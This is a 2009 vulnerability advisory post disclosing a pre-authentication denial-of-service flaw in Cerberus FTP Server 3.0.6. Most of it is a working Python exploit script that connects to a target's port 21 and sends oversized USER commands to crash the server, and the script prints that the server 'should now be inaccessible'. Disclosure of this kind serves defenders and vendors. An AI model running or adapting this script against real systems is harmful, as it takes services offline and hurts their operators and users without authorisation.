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{PRL} Cerberus FTP server 3.0.6 Pre-Auth DoS
From: Protek Research Lab <protekresearchlab () yahoo ca>
Date: Thu, 1 Oct 2009 06:21:14 -0700 (PDT)

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Application:  Cerberus FTP 3.0.6
            
Platforms:    Windows XP Professional SP2
              Windows Vista SP1 

crash:        YES
        
Exploitation: Remote DoS

Date:         2009-09-30

Author:       Francis Provencher (Protek Research Lab's) 
             

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1) Introduction
2) Technical details
3) The Code


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===============
1) Introduction
===============

Cerberus FTP Server is a secure and easy-to-use professional Windows FTP server featuring FIPS 140-2 certified 
encryption.

(from Cerberus FTP server website)


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============================
2) Technical details 
============================

Cerberus FTP server Professional
Version 3.0.6
Build date  2009/09/28



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===========
3) The Code
===========

Proof of concept DoS code;


#!/usr/bin/env python

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#
# Cerberus FTP Server Denial of Service Exploit (Pre Auth)
# Found By:     Francis Provencher (Protek Research Lab's)
# Tested On:    Windows XPSP2
# Usage:        ./script <Target IP>
#
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import socket, sys

def banner():
        print "\n##################################################################"
        print "#                                                                #"
        print "#     Cerberus FTP Server Denial of Service Exploit (Pre Auth)   #"
        print "#           Francis Provencher (Protek Researh Lab's)            #"
        print "#                                                                #"
        print "##################################################################\n"

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s4 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);

buff1 = ("\x41" * 330 );
buff2 = ("\x41" * 520 );
buff3 = ("\x41" * 2230 );


try:
        banner();
        print ("[*] Connecting to target...");
        s1.connect((sys.argv[1] , 21));
        s2.connect((sys.argv[1] , 21));
        s3.connect((sys.argv[1] , 21));
        s4.connect((sys.argv[1] , 21));
        print ("[*] Sending evil stuff...");
        s1.send("USER " + buff1 + "\r\n");
        s2.send("USER " + buff2 + "\r\n");
        s3.send("USER " + buff3 + "\r\n");
        s4.send("USER " + buff1 + "\r\n");
        print ("[*] Success! The server should now be inaccessible");
        s1.close();
        s2.close();
        s3.close();
        s4.close();

except:
        print ("[-] Could not connect to server.");



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(PRL-2009-09)


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